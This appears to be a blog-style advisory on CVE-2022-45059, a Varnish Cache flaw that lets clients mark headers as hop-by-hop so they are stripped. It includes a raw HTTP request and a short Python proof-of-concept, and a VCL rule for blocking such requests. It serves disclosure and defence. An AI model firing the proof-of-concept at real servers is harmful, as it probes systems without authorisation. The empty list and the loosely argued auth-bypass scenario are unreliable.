In late 2022, a significant security vulnerability was found in Varnish Cache—an open-source HTTP accelerator designed for content-heavy, high-traffic websites. This vulnerability, identified as CVE-2022-45059, impacts Varnish Cache 7.x versions before 7.1.2 and 7.2.x versions before 7.2.1. What makes this issue critical is its potential to allow attackers to perform request smuggling attacks on your caching layer, potentially letting them bypass security controls, inject their own headers, or manipulate backend requests.

This exclusive post tells you exactly what CVE-2022-45059 is, explains how it works, provides proof-of-concept code examples, offers ways to mitigate the threat, and shares links to authoritative sources for deeper research.

Product: Varnish Cache (7.x before 7.1.2, 7.2.x before 7.2.1)

- Type: Request Smuggling / Improper Header Handling
- Impact: Attackers can exploit Varnish by adding special headers (declared as hop-by-hop) to requests. Varnish then strips these headers, possibly forwarding malicious or incomplete information to backend servers.

Official References

- NIST National Vulnerability Database
- Varnish Security Advisory
- Official Patch Release Notes

Background: What is Request Smuggling?

Request smuggling is a web security flaw that tricks a server, proxy, or caching layer to interpret HTTP requests in unexpected ways. Attackers use discrepancies in how servers parse requests to:

Why Varnish Is At Risk

In HTTP/1.1, hop-by-hop headers (like Connection, Keep-Alive, etc.) are designed only for the immediate connection between two servers. They aren’t supposed to be forwarded to the backend. Varnish assumes certain headers are end-to-end by default.

However, the CVE-2022-45059 vulnerability allows attackers to declare any header as “hop-by-hop” by including it in the Connection header. Varnish will then strip this header before forwarding the request, potentially removing critical headers from requests meant for your backend.

1. The Attacker’s Request

Suppose your backend expects a header like X-Auth-Token to authenticate requests.

The attacker sends the following HTTP request to Varnish

GET /protected HTTP/1.1
Host: example.com
Connection: X-Auth-Token
X-Auth-Token: BADGUY

Here, the Connection header names X-Auth-Token as a hop-by-hop header.

2. What Varnish Does

Varnish, following the HTTP RFC, strips any header named in Connection, not forwarding it to the backend. So the request that reaches your backend is:

GET /protected HTTP/1.1
Host: example.com

3. Backend Consequence

If your backend expects an X-Auth-Token header for authorization, it might treat this request as unauthenticated or, worse, allow it due to a logic flaw. This behavior opens the door to attacked endpoints, credential bypass, or other logic exploitation.

Below is a simple Python example that sends a request which exploits this flaw

import requests

url = "http://your-varnish-server/protected";
headers = {
    "Host": "example.com",
    "Connection": "X-Auth-Token",
    "X-Auth-Token": "BADGUY"
}

response = requests.get(url, headers=headers)
print("Status:", response.status_code)
print("Body:", response.text)

With Varnish vulnerable, the backend won’t see the X-Auth-Token header. You can confirm by adding logging on your backend and comparing incoming headers.

Real-World Attack Scenarios

- Security Bypass: Attackers could bypass authentication or rate limiting if those mechanisms rely on headers stripped by Varnish.
- Cache Poisoning: If the backend treats such requests differently (e.g., unauthenticated defaults), cache contents can be poisoned.

How to Fix

Solution: Upgrade to Varnish Cache 7.1.2 or newer, or 7.2.1 or newer.

- Download Varnish

Quick Mitigation: Block or log any client requests trying to use the Connection header with application-defined header names.

Example VCL snippet to detect and abort such requests

sub vcl_recv {
    if (req.http.Connection ~ "(?i)X-Auth-Token|Cookie|Whatever") {
        return (synth(400, "Bad Request: Invalid Connection Header"));
    }
}

Conclusion

CVE-2022-45059 is a textbook example of why careful header parsing and understanding of proxies is crucial for web app security. If you use Varnish Cache, update ASAP and audit your system for similar parsing issues.

References

- NIST NVD CVE-2022-45059 Summary
- Varnish Security Advisory: VSV00010
- Varnish 7.2.1 Release Notes
- PortSwigger: Request Smuggling Explained

Timeline

Published on: 11/09/2022 06:15:00 UTC
Last modified on: 12/02/2022 22:45:00 UTC